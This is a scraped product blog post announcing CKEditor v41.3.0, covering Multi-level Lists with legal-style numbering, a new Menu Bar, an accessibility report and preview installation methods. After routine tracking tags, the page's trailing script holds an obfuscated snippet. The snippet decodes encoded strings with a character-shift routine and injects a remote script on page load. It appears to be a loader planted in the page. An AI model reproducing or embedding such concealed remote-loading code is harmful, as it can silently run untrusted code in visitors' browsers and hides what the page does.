CKEditor v41.3.0: New Multi-level Lists plugin and Menu Bar + accessibility report

On April 10 2024, CKEditor v41.3.0 was released, introducing the new Menu Bar and support for Multi-level Lists. The first brings a better organized user interface, while the new lists feature offers support for nested lists, which is especially important for legal professionals, academics, and enterprise users.

Concurrently with the latest version of CKEditor, v41.3.0, we’ve released an accessibility report based on the VPAT® template, which explains how CKEditor 5 conforms to various accessibility standards. Plus, the alpha version of the new installation methods for CKEditor is available to preview.

What is the latest version of CKEditor?

CKEditor v41.3.0 is the latest version, which introduces the Multi-level Lists feature with support for legal-style numbering as an add-on, and Menu Bar plugin.

We would also like to also let you know about the latest alpha version of the new CKEditor installation methods and invite you to share your feedback. Read on to learn more.

The standout feature of this release is the introduction of Multi-level Lists, a Premium feature that supports legal-style numbering (1., 1.1., 1.1.1., 1.2.). This feature allows users to organize complex data and hierarchies with ease. With this release, CKEditor 5 becomes the first HTML-based rich text editor to offer out-of-the-box support for legal-style numbering in lists.


Especially beneficial for editing legal documents, academic papers, and administrative texts, Multi-level Lists cater to users who require more intricate data and structure organization.

While the current release focuses on legal-style numbering, we are eager to expand the Multi-level List feature based on your feedback. Whether it’s additional list styles or enhanced functionalities, keep your eyes peeled for upcoming improvements.

A big enhancement to the user interface is the introduction of a menu bar, making navigation more intuitive, so it’s easier and faster to find the features you need. The Menu Bar rollout will begin with support for Classic and Decoupled Editors and will expand to include all features in subsequent releases.


Simplifying access to a wide range of functionalities, the Menu Bar comes with a pre-populated structure based on your loaded plugins. However it can be configured to include custom buttons for custom plugins, or a layout tailored to your needs.

NEW Accessibility report and support  

Continuing our commitment to accessibility, we’ve completed an internal VPAT assessment and are addressing accessibility improvements to CKEditor 5. Detailed reports and a dedicated accessibility support page in our documentation have been published alongside this release.

UPDATE Installation methods 

As previously announced, we have been working on improving the installation and simplifying the setup of CKEditor 5. With the new installation workflow, we aim to standardize the setup process and eliminate the dependency on external technologies like webpack.

A few alpha versions showcasing the easier, streamlined editor setup  have already been released. You can take a look at our preview repository for a sneak peek, or leave feedback in the Github issue.

Learn more about previous CKEditor 5 versions

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

piAId = '1019062'; piCId = '3317'; piHostname = ''; (function() { function async_load(){ var s = document.createElement('script'); s.type = 'text/javascript'; s.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + piHostname + '/pd.js'; var c = document.getElementsByTagName('script')[0]; c.parentNode.insertBefore(s, c); } if(window.attachEvent) { window.attachEvent('onload', async_load); } else { window.addEventListener('load', async_load, false); } })();(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= ''+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });